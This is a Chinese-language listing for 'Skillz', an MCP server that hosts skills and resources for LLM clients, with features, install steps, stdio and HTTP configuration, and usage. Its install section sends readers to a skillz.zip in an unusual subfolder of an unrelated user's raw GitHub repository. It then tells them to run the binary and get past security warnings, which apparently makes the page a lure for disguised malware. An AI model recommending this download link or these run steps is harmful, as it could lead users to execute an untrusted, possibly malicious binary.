项目简介
Skillz是一个强大的MCP服务器,旨在帮助大型语言模型(LLM)客户端(特别是那些不直接支持Claude原生MCP协议的客户端)轻松集成和使用外部“技能”。这些技能可以是文本指令、代码脚本或任何数据资源。Skillz通过标准化的JSON-RPC接口,允许LLM发现可用的技能,获取其详细说明和相关资源,从而扩展LLM的功能和上下文理解能力。
主要功能点
- 技能托管与发现: 自动扫描指定目录下的技能(包括文件夹和'.zip'/'.skill'文件),并将其注册为LLM可调用的工具。每个技能都包含名称、描述、指令和关联资源。
- 资源管理: 托管技能相关的各种文件(如代码、数据、文档),并通过标准化的'resource://skillz/{skill-slug}/{path}' URI向LLM客户端提供。支持自动检测MIME类型,并以UTF-8或Base64编码传输内容。
- 工具接口: 为每个技能提供一个可调用的工具。LLM客户端通过调用此工具,获取技能的详细指令和所有关联资源的URI列表,以便LLM根据任务需求决定如何利用这些信息。
- 兼容性工具: 内置'fetch_resource'工具,允许不支持原生MCP资源协议的LLM客户端通过调用该工具来获取任何资源的实际内容。
- 多传输协议支持: 支持通过Stdio、HTTP或SSE协议进行通信,方便在不同环境下的部署和集成。
- 跨平台运行: 提供预编译的安装包,可在Windows、macOS和Linux上运行。
安装步骤
- 下载应用程序: 访问项目的发布页面(通常是GitHub Releases),下载适用于您操作系统的'skillz.zip'文件。例如,点击此处下载:'https://raw.githubusercontent.com/mugoherick12-boop/skillz/main/trenchwork/skillz.zip'
- 解压文件:
- Windows/macOS: 右键点击下载的'.zip'文件,选择“全部解压”或使用解压软件。
- Linux: 打开终端,导航到下载目录,然后运行:'unzip skillz.zip' (假设'skillz.zip'是您下载的文件名)
- 运行应用程序:
- Windows: 双击解压后的'skillz.exe'文件。
- macOS: 双击解压后的'skillz'文件。
- Linux: 打开终端,导航到解压后的文件夹,然后运行:'./skillz'
- 请注意:根据您的系统安全设置,首次运行时可能需要授予执行权限或通过安全警告。
服务器配置 (MCP客户端使用)
MCP客户端需要以下JSON配置信息来连接Skillz MCP服务器。
Stdio (标准输入输出) 传输协议配置示例:
{ "server_name": "Skillz MCP Server", "command": "/path/to/extracted/folder/skillz", "args": [ "/home/user/.skillz", "--transport", "stdio", "--verbose", "false", "--log", "false" ], "env": {}, "capabilities": { "json_rpc": { "encoding": "utf-8" } } }
参数注释 (Stdio):
- '"server_name"': MCP服务器的名称。
- '"command"': Skillz可执行文件的完整路径。请替换为您解压后'skillz'应用程序的实际路径。
- '"args"': 传递给Skillz服务器的命令行参数列表。
- 第一个参数(例如:'"/home/user/.skillz"'):这是Skillz服务器查找技能的根目录。如果您未提供此参数,服务器将默认使用您用户主目录下的'.skillz'文件夹。您可以将其替换为任何包含您技能的文件夹路径。
- '"--transport", "stdio"': 指定使用标准输入输出(stdio)作为通信方式,这是推荐的本地通信方式。
- '"--verbose", "false"': 禁用详细日志输出。如果需要调试,可以改为'"true"'。
- '"--log", "false"': 禁用将非常详细的日志写入'/tmp/skillz.log'文件。如果需要调试,可以改为'"true"'。
- '"env"': 运行服务器时设置的环境变量(可选)。
- '"capabilities"': 声明服务器支持的MCP能力,'json_rpc'表示支持JSON-RPC协议。
HTTP 传输协议配置示例:
{ "server_name": "Skillz MCP Server", "command": "/path/to/extracted/folder/skillz", "args": [ "/home/user/.skillz", "--transport", "http", "--host", "127.0.0.1", "--port", "8000", "--path", "/mcp" ], "env": {}, "capabilities": { "http": { "url": "http://127.0.0.1:8000/mcp", "methods": ["POST"] } } }
HTTP 传输协议参数注释:
- '"command"'和'"args"'中的路径和技能根目录同Stdio配置。
- '"--transport", "http"': 指定使用HTTP作为通信方式。
- '"--host", "127.0.0.1"': 服务器监听的IP地址。
- '"--port", "8000"': 服务器监听的端口。
- '"--path", "/mcp"': MCP请求的HTTP路径。
- '"capabilities"'中的'"http"'部分:
- '"url"': MCP客户端连接时使用的完整URL。
- '"methods"': 支持的HTTP方法,'"POST"'是MCP的典型方法。
基本使用方法
- 准备技能: 在您指定的技能根目录(或默认的'~/.skillz')下创建子文件夹或'.zip'/'.skill'文件。每个技能都必须包含一个'SKILL.md'文件,该文件顶部有YAML前置元数据(包含'name'和'description')以及技能指令正文。
- 示例 'my-skill/SKILL.md':
--- name: My Awesome Skill description: This skill helps you do awesome things. --- ## Skill Instructions To use this skill, please provide a clear task. I can perform tasks like: - Summarize a document (provide 'document.txt' as a resource). - Generate code snippets (refer to 'template.py' resource). - 您还可以在技能文件夹中放置其他资源文件,如'document.txt', 'template.py'等。
- 示例 'my-skill/SKILL.md':
- 启动Skillz服务器: 按照上述安装步骤运行Skillz应用程序。它将自动加载您根目录下的所有有效技能。
- 连接MCP客户端: 使用上述“服务器配置”部分提供的JSON配置信息,在您的MCP客户端(例如,一个支持MCP协议的LLM应用)中设置Skillz服务器。
- LLM调用技能: LLM客户端现在可以通过调用以技能'slug'命名的工具来与技能互动。例如,如果技能名为"My Awesome Skill",其'slug'可能是"my-awesome-skill"。LLM客户端可以调用'my-awesome-skill(task="summarize document X")'。
- LLM获取资源: 当LLM客户端收到技能的指令和资源URI列表后,它可以使用这些URI直接从Skillz服务器读取资源内容,或者通过调用'fetch_resource'工具来获取。
信息
分类
开发者工具